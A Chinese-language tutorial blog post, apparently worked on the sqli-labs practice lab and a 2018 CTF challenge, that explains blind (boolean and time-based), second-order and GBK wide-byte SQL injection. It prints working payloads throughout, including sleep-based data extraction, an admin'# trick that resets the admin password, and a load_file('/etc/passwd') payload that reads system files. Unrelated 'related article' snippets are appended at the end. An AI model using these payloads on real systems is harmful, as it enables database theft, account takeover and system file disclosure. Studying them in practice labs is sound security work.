sql注入(二)盲注,二次注入,宽字节注入
目录
目录
一、布尔盲注
1.判断库名的长度
2.判断数据库名
2.1判断数据库名首字符
2.2 判断数据库名的其余字符
二、时间盲注:
1.判断库名的长度
2.判断库名:
3.判断表名payload:
4.爆出列名
5.爆数据
三、二次注入
1.原理:
2. 关卡分析
2.1 登陆界面
源码分析:
2.2 修改密码界面
源码分析:
2.3 用户注册界面
源码分析:
3. 开始二次注入
注入思路:
4. 检测
登陆检测
注意一点:
二次注入实例二、
1源码恢复
2. 登陆界面弱口令爆破
3. 分析源码
4.开始二次注入
4.1 注入思路
注入后的语句
4.2 第一次注入
4.2 第二次注入
注入结果:
注意一点:
四、宽字节注入
1.前言:
2.注入原理
注意:GB2312与GBK的不同
盲注分为:布尔盲注、时间盲注
一、布尔盲注
相较于显错注入,反应会更隐晦,比如当执行的恶意语句条件为False时(如and 1=2),页面会变得异常,如页面突然没了数据,当条件为True时,页面又会恢复正常。并不会看到像显错注入那样明显的语句回显,这样的注入,通过条件猜测数据库的内容
关键函数:lentgh()
ascii()
substr()
布尔盲注的做法
- 使用 length()函数 判断查询结果的长度
- 使用 substr()函数 截取每一个字符,并穷举出字符内容
我们这里用sqli-labs-master靶场的第五关来测试
1.判断库名的长度
payload:
?id=1' and length(database())>8--+
结果:
回显为空说明判断错误
payload:
?id=1' and length(database())=8--+
结果:
存在正确回显说明判断正确,数据库名长度为8
2.判断数据库名
2.1判断数据库名首字符
payload:
?id=1' and ascii(substr(database(),1,1))=115--+
#通过substr函数截取数据库的第一个字符并判断其ascii码是否为115(字母 s)
结果:
2.2 判断数据库名的其余字符
?id=1' and ascii(substr(database(),2,1))=101--+
其余操作相同故不再赘述。最后得到表名:security
同理可爆出表名和数据
?id=1' and if(ascii(substr(user(),1,1))=114--+
#(substr(user(),1,1):截取user函数的第一个字符。(114为r)
一般这种情况下储存的就是root权限内容
二、时间盲注:
适用于页面不会返回错误信息,只会回显一种界面,其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否为数据库数据。
关键函数:if() lentgh()
ascii()
substr() sleep()
我们这里用sqli-labs-master靶场的第九关来测试
1.判断库名的长度
payload:
?id=1' and if(length(database())>8,sleep(3),0)--+
结果:
页面未进行3秒延迟响应,证明所请求的数据为假。
payload:
?id=1' and if(length(database())=8,sleep(3),0)--+
结果:
这里请求延迟了3秒,证明请求的数据为真。
2.判断库名:
payload:
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),0)--+
结果:
延迟3秒证明数据库名的第一个字符为“s”
payload:
?id=1' and if(ascii(substr(database(),2,1))=101,sleep(3),0)--+
延迟3秒证明数据库名的第二个字符为“e”
由上可知数据库名的长度为8,经过8次检测数据库的名字为:“security”
3.判断表名
payload:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit x,y),z,d))=e,sleep(1),0)–-+
# x:第x+1个列,y:x+1个列往后y个单位,z:x+1列的第一个字母,d:第一个字母往后的第z个单位, e:字符对应的ascii码的长度。
例:爆出security数据库下第一个表的第一个字符
payload:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(3),0)--+
结果:
延时成功,第一个表的第一个字符为e,经查第一个表名为:emails
爆出security数据库下第四个表的第一个字符
payload:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(3),0)--+
结果:
这里延迟注入成功,第四个表的第一个字符为u,经查证第四个表的表名为users,此表就是我们要找的用户表。
注意这里爆出表名时最好使用 information_schema.tables 爆出表明,不要使用 information_schema.columns 表爆出表名原因:
使用 information_schema.columns 查询表名时会出现重复表名, information_schema.tables 爆出表明只会出现单一的表名。
4.爆出列名
payload:
?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='指定表名' and table_schema=database() limit x,y),z,d))=e,sleep(3),1)–-+
x:第x+1个列,y:x+1个列往后y个单位,z:x+1列的第一个字母,d:第一个字母往后的第z个单位
例:爆出security数据库下user表第一个列的第一个字符
?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(3),1)–+
结果:
延迟成功,说明第一例的列名为:‘i’
其余的操作都相同,故这里不再赘述。
5.爆数据
?id=1' and If(ascii(substr((select 列名 from users limit x,y),z,d))=e,sleep(2),1)--+
三、二次注入
1.原理:
主要分两步,第一步就是进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,但是数据库保存的数据仍然具有恶意内容。第二步就是在下一次进行数据的查询过程中,直接从数据库中取得恶意数据(开发者认为数据是可信的),这样就造成了SQL的二次注入。
即第一次注入是将恶意代码通过正常方式注入到数据库当中(通过注册框将含有恶意语句的用户注入到数据库的用户表内)。
第二次注入直接从数据库中取得恶意数据对原本数据库内的数据进行改变。
这里用sqli-labs-master靶场的第24关来测试举例:
2. 关卡分析
2.1 登陆界面
源码分析:
将接收到的用户及密码内容转交给login.php 文件
在login.php 文件中将所输入的用户及密码中的内容通过mysql_real_escape_string进行过滤。
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
之后将过滤的内容传到数据库,再进行数据库users表的查询看是否存储到users表中。
查询后没问题就将未过滤的username写入session,之后就跳转到 logged-in.php文件中。(此文件主要负责修改密码)
2.2 修改密码界面
源码分析:
首先判断session是否存在,如果不存在需要你在index.php文件中重新登录,之后将接收到的原密码和修改后的密码用mysql_real_escape_string函数进行过滤,再使用sql语句将密码在数据库中修改。
2.3 用户注册界面
源码分析:
这里将输入的新用户及密码同样进行了过滤,之后使用sql语言进行查询判断。
3. 开始二次注入
首先查看用户表我们用admin用户作为注入点写入恶意代码。
注入思路:
在注册时使用 admin'# 为用户名进行注册,之后在修改 admin’# 密码时由于修改语句为:
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
这里的 $username 为admin'#会出现以下结果:
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
这里可以看到引号将用户 admin 闭合且用#将之后的语句全部注释掉,所以修改密码时只能通过用户名来进行查找并修改,改密码时前面的用户名变成了admin,顺势就将用户名为admin的用户密码在数据库中进行了修改。
第一次注入:我们先通过注册界面通过用户信息将恶意数据注册到数据库中。
登陆查看用户信息是否注入成功
第二次注入:修改密码时直接从数据库中取得恶意用户数据,对原本数据库内的数据进行更改。
修改用户admin'#的密码看用户admin的密码是否会被修改,这里将admin'#的密码修改为666666
4. 检测
查看数据库的内容:
发现用户 admin'# 的密码未被修改,但用户 admin 的密码被修改,注入成功。
登陆检测
登陆成功,证明admin的密码确实被修改,注入成功。
注意一点:
在注册时 username 已经被 mysql_real_escape_string 函数过滤过一遍为什么还会注入成功呢?
原因在注入时 admin'# 会被函数转译为 admin\'# 会导致注入失败,但是当 admin\'# 进入数据库是转义符 \ 会被丢弃导致注入成功。
二次注入实例二、
这里的示例为 网鼎杯 2018 Comment二次注入下载地址为:GitHub - CTFTraining/wdb_2018_comment: 网鼎杯 2018 Comment
1源码恢复
首先需要知道漏洞源码来分析漏洞类型, 我们可以通过扫描根目录查看是否有源码。
这里我们使用了扫描工具:airmap
扫描结果:
程序中存在git有可能已经被提交,但我们查看到网页提示文档未进行commit,即其程序的内容还被保留在本地的缓存中,所以我们要先回复一下git泄漏的文件,这里我们使用githacker进行恢复。
恢复后的文件
//write_do.php
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){header("Location: ./login.php");die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':$category = addslashes($_POST['category']);$title = addslashes($_POST['title']);$content = addslashes($_POST['content']);$sql = "insert into boardset category = '$category',title = '$title',content = '$content'";$result = mysql_query($sql);header("Location: ./index.php");break;
case 'comment':$bo_id = addslashes($_POST['bo_id']);$sql = "select category from board where id='$bo_id'";$result = mysql_query($sql);$num = mysql_num_rows($result);if($num>0){$category = mysql_fetch_array($result)['category'];$content = addslashes($_POST['content']);$sql = "insert into commentset category = '$category',content = '$content',bo_id = '$bo_id'";$result = mysql_query($sql);}header("Location: ./comment.php?id=$bo_id");break;
default:header("Location: ./index.php");
}
}
else{header("Location: ./index.php");
}
?>
这里的write和comment分别对应发帖和留言界面 可以看到所有参数都进行了addslashes函数处理
2. 登陆界面弱口令爆破
我们在注入时突然弹出用户登陆框不过这里的用户名、及一部分密码已经给出,方便起见我们使用burp进行弱口令爆破,这里不赘述。
爆破出来用户密码结果为:zhangwei666
3. 分析源码
case 'write':$category = addslashes($_POST['category']);$title = addslashes($_POST['title']);$content = addslashes($_POST['content']);$sql = "insert into boardset category = '$category',title = '$title',content = '$content'";$result = mysql_query($sql);header("Location: ./index.php");break;
这里为发帖框源码,可以看到这里接收的title、category、content函数均被addslashes过滤 ,所以无法在此处进行直接注入。之后将过滤的内容插入到board表中。
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号 '
- 双引号 "
- 反斜杠 \
- NULL
case 'comment':$bo_id = addslashes($_POST['bo_id']);$sql = "select category from board where id='$bo_id'";$result = mysql_query($sql);$num = mysql_num_rows($result);if($num>0){$category = mysql_fetch_array($result)['category'];$content = addslashes($_POST['content']);$sql = "insert into commentset category = '$category',content = '$content',bo_id = '$bo_id'";$result = mysql_query($sql);}header("Location: ./comment.php?id=$bo_id");break;
这里为留言框源码,content 主要是用来接收留言板输入的内容。
$category = mysql_fetch_array($result)['category'];主要看这段语句表示将插入到数据库的语句重新拿出来使用,这样的话我们就可以进行二次注入,所以他的注入点就在 $sql 插入数据库语句的这一部分。
4.开始二次注入
4.1 注入思路
我们通过源码可知 $category = mysql_fetch_array($result)['category']; 这段是将之前存入到数据库$category的数据重新拿出来使用。而且下面插入数据库的语句:
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
刚好就将 $category 数据直接使用,我们知道 $category 中的数据是通过之前的发帖框中由用户直接发帖输入的,所以 $category 数据可以作为第一次注入的注入点将恶意语句直接进行注入。
我们再看他插入数据库的语句的顺序,首先是被调用的 category 恶意语句,然后是留言框输入的content中的内容,之后是 bo_id字段。
注入思路是通过输入的 category 字段的内容在第二次注入时从数据库中调用将 contet 字段仿造改写成注入语句,并将原本的 contet 字段注释掉。
$sql = "insert into comment
set category = '$category', 在第一次注入时将category写成 ',content =注入语句,/*
content = '$content', 在第二次从留言板注入时使用 */# 将前后语句都注释掉只留下注入语句。
bo_id = '$bo_id'";
注入后的语句
insert into comment
set category = ' ',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";
4.2 第一次注入
首先在 $category 中插入放仿写 content 的恶意语句
结果:
这里可以看到仿写的 content 语句已经成功被提交且被存放在数据库中。
4.2 第二次注入
',content=(select(load_file("/etc/passwd"))),/*
注入结果:
这里成功得到了用户信息,证明将 content 字段仿写成功,注入成功。
我们还可以读取password:
payload:
',content=(select(load_file("/etc/passwd"))),/*
结果:
以此类推,我们还可以查询到数据库的其他信息,这里就不再做演示。
注意一点:
我们输入的信息全部被addslashes函数过滤了一遍为什么还可以注入成功呢?
先addslashes转义存入数据库,数据库会将转义符丢弃,再从数据库中调用数据就是不带转义符的数据,故注入成功。
四、宽字节注入
1.前言:
宽字节:在了解宽字节注入之前,我们要了解一下什么是宽字节,相对于单字节,我们引入一个字符数大小为两个字节的为宽字节,比如GBK编码,我们汉字通常使用的就是GBK编码,也就是说一次性会读取两个字节。
在mysql中,用于过滤payload的转义函数(即在字符串中的符号前加上”\”)有addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性。
那我们该如何绕过过滤函数呢?
* 想办法给\
前面再加一个\
(或单数个即可),变成\\'
,这样\
被转义了,'
逃出了限制
* 想办法把\去掉
。
2.注入原理
产生宽字节注入的原因涉及了编码转换的问题,当我们的mysql使用GBK编码后,同时两个字符的前一个字符ASCII码大于128时,会将两个字符认成一个汉字,如果存在过滤我们输入的函数(addslashes()、mysql_real_escape_string()、mysql_escape_string()、Magic_quotes_gpc)会将我们的输入进行转义,我们就可以考虑通过宽字节注入转汉字的方法进行过滤。
例:
注入时 ' 会被转义字符转义所以我们可以通过给 ' 前面加上 %df 的方式进行宽字节注入
%df'(%df%27) ' 被转义字符转义-->%df\' (%df%5c%27) --> 这时由于myaql使用的为GBK编码导致 %df\(%df%5c)会被识别成一个汉字“運” --> 变成 運' 这时 ' 就成功逃逸了出来可以进行注入。
那么mysql怎么判断一个字符是不是汉字,根据gbk编码,第一个字节ascii码大于128,基本上就可以了。比如我们不用%df,用%a1也可以,%a1%5c他可能不是汉字,但一定会被mysql认为是一个宽字符,就能够让后面的%27逃逸了出来。
这里使用 sqli-labs 的33关进行测试
payload
id=-1%df' union select 1,2,3--+
这里查询的是可以在前台显示的列,注入成功,我们可以看到框住的部分就是宽字节转换成的汉字。
注意:GB2312与GBK的不同
曾经有一个问题一直困扰我很久。
gb2312和gbk应该都是宽字节家族的一员。可以把数据库编码也改成gb2312,注入是不成功的。
为什么,这归结于gb2312编码的取值范围。它的高位范围是0xA1~0xF7
,低位范围是0xA1~0xFE
,而\
是0x5c,是不在低位范围中的。所以,0x5c
根本不是gb2312中的编码,所以自然也是不会被去除的。
所以,把这个思路扩展到世界上所有多字节编码,我们可以这样认为:只要低位的范围中含有0x5c
的编码,就可以进行宽字符注入。
相关文章:
sql注入(二)盲注,二次注入,宽字节注入
目录 目录 一、布尔盲注 1.判断库名的长度 2.判断数据库名 2.1判断数据库名首字符 2.2 判断数据库名的其余字符 二、时间盲注: 1.判断库名的长度 2.判断库名: 3.判断表名payload: 4.爆出列名 5.爆数据 三、二次注入 1.原理&#…...
Linux 基础操作
Linux学习教程,Linux入门教程(超详细) chown (change owner) : 修改所属用户与组。chmod (change mode) : 修改用户的权限。 要查看文件或目录的属性,可以使用ls命令,加上-l选项。例如ÿ…...
2.4 等比数列
学习步骤: 如果我要学习等比数列,我会按照以下步骤进行学习: 定义和性质:首先了解等比数列的定义和性质,包括公比、首项、通项公式、求和公式等。 例题练习:通过练习一些简单的例题来理解等比数列的概念和…...
2022年新能源汽车专题讲座
2022年新能源汽车专题讲座 单选题(共5题,每题6分) 1、《中华人民共和国数据安全法》自()起施行。 正确答案:C、2021年9月1日 2、典型的智能汽车结构主要分为()个层次。 正确答案…...
Git操作远程仓库
远程仓库 码云 https://gitee.com/ 是国内的一个代码托管平台,由于服务器在国内,所以相比于GitHub,码云速度会更快 码云使用流程 注册账号----登录码云-----点击新建仓库----记得保存地址 GitHub https://github.com/ 是一个面向开源…...
制造策略 ETO、MTO、ATO、MTS
ETO 按交货周期跨度从长到短来讲,首先就是 ETO,Engineer To Order – 面向订单设计、定制生产或特殊生产。 就是客户给的订单,你要生产的话,你之前的原产品改动很大,或者基本上用不上,要完全按照客户的要求…...
Git(六):基本命令(3):储藏、标签、拉取、子模块
目录 17、stash 储藏 17.2 描述 17.3 基本用法 18、tag 标签 18.1 描述 18.2 基本用法 19、fetch 获取 19.1 描述 19.2 基本用法 20、pull 整合 20.1 描述 20.2 基本用法 20.3 pull 与 fetch 的区别 21、push 更新推送 21.1 描述 21.2 基本用法 22、remote 管…...
7.0、Java继承与多态 - 多态的特性
7.0、Java继承与多态 - 多态的特性 面向对象的三大特征:封装性、继承性、多态性; extends继承 或者 implements实现,是多态性的前提; 用学生类创建一个对象 - 小明,他是一个 学生(学生形态)&…...
将系统从机械硬盘迁移至固态硬盘上
1、使用DiskGenius软件、分区助手或者傲梅分区助手进行系统迁移 参考: 系统迁移 - DiskGenius 分区助手专业版如何迁移系统到固态硬盘-迁移系统到固态硬盘的方法_华军软件园 (onlinedown.net) 无需重装,轻松将系统迁移到固态硬盘! (disktool.cn) 注…...
《Netty》从零开始学netty源码(五十一)之PoolArena的内存释放与扩容
目录 释放空间free()destroyChunk()freeChunk() 扩容reallocate()memoryCopy() 释放空间free() 当chunk使用完毕后需要释放,如果是池化chunk则需要放回池中供下次循环利用,如果是非池化的则直接释放对应的物理空间。 下面继续分析释放具体物理空间的des…...
Android Input系统事件分发分析
“本文基于Android13源码,分析Input系统中,事件分发的实现原理“ 整个事件分发到事件的确认过程很长,如果读者只是想大概了解一下,可以直接看末尾总结部分的流程图。 1. 前言 在文章之前,有必要提一下InputReader。其…...
Linux-基本指令2
文章目录 touch(新建一个文件)whoami(查看当前用户名)概念:1.你是如何看待指令的?2.我们在执行指令之前,我们应该先做什么? 概念:/tree . (树状显示文件夹和文件)rmdir && rmrmdirrm ctrl c通配符…...
辨析 项目范围核查、WBS核查
项目范围核查、WBS核查辨析 项目范围核查 项目目标是否完善和准确指标是否可靠和有效约束和限制条件是否真实和符合实际重要假设前提是否合理风险是否可以接受成功把握是否很大范围定义是否能够保证上述目标的实现范围能够给出的效益是否高于成本范围定义是否需要进一步进行辅…...
跳跃游戏类题目 总结篇
一.跳跃游戏类题目简单介绍 跳跃游戏是一种典型的算法题目,经常是给定一数组arr,从数组的某一位置i出发,根据一定的跳跃规则,比如从i位置能跳arr[i]步,或者小于arr[i]步,或者固定步数,直到到达某…...
Ubuntu20.04 交叉编译Paddle-OCR
第一步:交叉编译Paddle-Lite 参考链接:https://blog.csdn.net/sz76211822/article/details/130466597?spm1001.2014.3001.5501 第二步:交叉编译opencv4.x 参考链接:https://blog.csdn.net/sz76211822/article/details/13046168…...
Java 基础进阶篇(四)—— 权限修饰符、final 关键字与枚举
文章目录 一、权限修饰符二、final 关键字2.1 final 作用2.2 final 修饰变量举例2.3 常量 三、枚举3.1 枚举的格式3.2 枚举的特征3.3 枚举的应用 一、权限修饰符 权限修饰符 用于约束成员变量、构造器、方法等的访问范围。 权限修饰符: 有四种作用范围由小到大 (p…...
Linux命令集(Linux文件管理命令--touch指令篇)
Linux命令集(Linux文件管理命令--touch指令篇) Linux文件管理命令集(touch指令篇)6. touch(touch)1. 创建名为 file1 的空文件2. 创建名为 file1 和名为 file2 的多个文件3. 创建名为 file1 的文件并将访问时间设置为特定日期4. 创…...
软件工程学习教程大纲
软件工程学习教程大纲 第一章:软件工程概述 1.1 软件工程的定义和作用 软件工程的发展历程和趋势 软件工程的应用领域和特点 1.2 软件开发生命周期 软件开发生命周期的定义和阶段 软件开发生命周期的模型和方法 1.3 软件工程方法和工具 软件工程方法和工具…...
使用ChatGPT生成了十种排序算法
前言 当前ChatGPT非常火爆,对于程序员来说,ChatGPT可以帮助编写很多有用的代码。比如:在算法的实现上,就可以替我们省很多事。所以,小试牛刀一下,看看ChatGPT生成了排序算法怎么样? 简介 排序…...
GEE:MODIS计算遥感指数(NDVI、BSI、NDSI、EVI、LSWI、SIPI、EBI等)
作者:_养乐多_ 本文将介绍如何使用Google Earth Engine(GEE)进行遥感影像分析,具体地,使用MODIS数据集计算和可视化几种植被指数,以评估植被生长的状况,或者作为随机森林分类器训练需要的特征变量。 主要包括,NDVI、BSI、NDSI、EVI、LSWI、SIPI、EBI等。 NDVI(Normal…...
《*** 法治思想学习纲要》学习辅导
《*** 法治思想学习纲要》学习辅导 总分:100 及格分数:60 考试剩余时间: 1时 59分 35秒 单选题(共7题,每题5分) 1、全面依法治国中的“关键少数”是()。 正确答案:C、领导…...
初识Go语言18-面向对象【面向对象的概念、构造函数、继承与重写 泛型】
文章目录 面向对象面向对象的概念构造函数继承与重写泛型 面向对象 面向对象的概念 洗衣服过程剖析: 给洗衣机里加脏衣服和洗衣粉。启动洗衣机。洗衣机自动注水,然后滚动。脏衣服从黑颜色变成白颜色。洗衣机自动停止。 用面向过程的思想实现代码。 //…...
4.微服务项目实战---Sentinel--服务容错
4.1 高并发带来的问题 在微服务架构中,我们将业务拆分成一个个的服务,服务与服务之间可以相互调用,但是由于网络 原因或者自身的原因,服务并不能保证服务的 100% 可用,如果单个服务出现问题,调用这个服务…...
Postgres SELECT INSERT 流程 ?
SELECT 当执行SELECT查询时,PostgreSQL数据库会按照以下流程进行处理: 首先,查询语句会被发送到服务器。 服务器会接收查询请求,并根据查询条件从表中读取数据。 数据库会将数据存储在磁盘上的数据文件中,然后将其读…...
OpenAI推企业版ChatGPT,英伟达造AI安全卫士
GPT现在已经进入了淘金时代。虽然全球涌现出成千上万的大模型或ChatGPT变种,但一直能挣钱的人往往是卖铲子的人。 这不,围绕暴风眼中的大模型,已经有不少企业,开始研究起了大模型的“铲子”产品,而且开源和付费两不误…...
【原创】运维的终点是开发~chatGPT告诉你真相
文章目录 软件技术岗位鄙视链,你在哪层呢?让chatGPT告诉你运维工作好,还是开发工作好问它几个问题来自你的消息: 一个三年开发成长的案例和薪资来自ChatAI的消息:来自你的消息: 一个三年运维成长的案例和薪资来自ChatAI的消息:来自你的消息: …...
SSH 服务器、NFS 服务器、TFTP 服务器详解及测试
文章目录 前言一、SSH 服务器1、SSH 能做什么?2、安装 SSH 服务器3、测试 SSH 服务4、用 SecureCRT 测试 二、NFS 服务器1、NFS 能做什么?2、安装 NFS 软件包3、添加 NFS 共享目录4、启动 NFS 服务5、测试 NFS 服务器 三、TFTP 服务器1、TFTP 能做什么&a…...
1.3 HBase 基本架构
架构角色: 1)Master 实现类为 HMaster,负责监控集群中所有的 RegionServer 实例。主要作用如下: (1)管理元数据表格 hbase:meta,接收用户对表格创建修改删除的命令并执行 (2&#x…...
微机作业题
答案做的,正确性不保证。 1. 微型计算机的性能主要取决( A )的性能。 A. CPU B. 显示器 C. 硬盘 D. U盘 2. 计算机的工作过程,本质是( A )的过程。 A. 进行科学计算 …...
非极大值抑制详细原理(NMS含代码及详细注释)
作者主页:爱笑的男孩。的博客_CSDN博客-深度学习,YOLO,活动领域博主爱笑的男孩。擅长深度学习,YOLO,活动,等方面的知识,爱笑的男孩。关注算法,python,计算机视觉,图像处理,深度学习,pytorch,神经网络,opencv领域.https://blog.csdn.net/Code_and516?typecollect 个…...
wordpress复制数据库结构/互联网营销培训
Ubuntu环境下的“批处理”长时间生活在CLI中,“批处理”绝对能简化不少工作。在Windows环境中,建立一个后缀名为.bat的文件,输入需要的指令,保存之后执行即可,十分方便。其实在Ubuntu中也有类似的功能,而且…...
南京网站优化网站建设公司/如何引流客源最快的方法
第一种:使用正则 复制代码 代码如下:<?php echo preg_replace(# #, , ab ab); //输出 "abab" ?>第二种:使用str_replace()函数 复制代码 代码如下:<?php echo str_replace( , , ab ab); //输出 "abab ?>第三种&…...
酒店网站可以怎么做/软件培训机构排行榜
为什么80%的码农都做不了架构师?>>> 具体做法: 不同环境的配置设置一个配置文件,例如:dev环境下的配置配置在application-dev.properties中;prod环境下的配置配置在application-prod.properties中。在appl…...
电影网站 备案/高端seo服务
为网站或应用程序开发选择正确的编程语言一直很麻烦。当谈到在 NextJS 和 React 等两种很棒的编程语言之间进行选择时,这是值得商榷的。这两种工具都最适合创建 Web 应用程序。 在本文中,你将了解 NextJS 和 React 之间的区别,以及哪个…...
做室内设计兼职的网站/软文写作的十大技巧
一、问题现象某客户有一台安装RHEL6.5系统的服务器,该服务器需要配置内网和外网两个IP地址,系统配置好IP地址重启网卡服务后,通过内、外网IP地址都能正常连接。过一会儿后就连接不正常了,该服务器无法通过外网IP地址远程连接&…...
wordpress页面设计外贸/十大电商代运营公司
适用范围:给定的图存在负权边,这时类似Dijkstra等算法便没有了用武之地,而Bellman-Ford算法的复杂度又过高,SPFA算法便 派上用场了。 我们约定有向加权图G不存在负权回路,即最短路径一定存在。当然,我们可以…...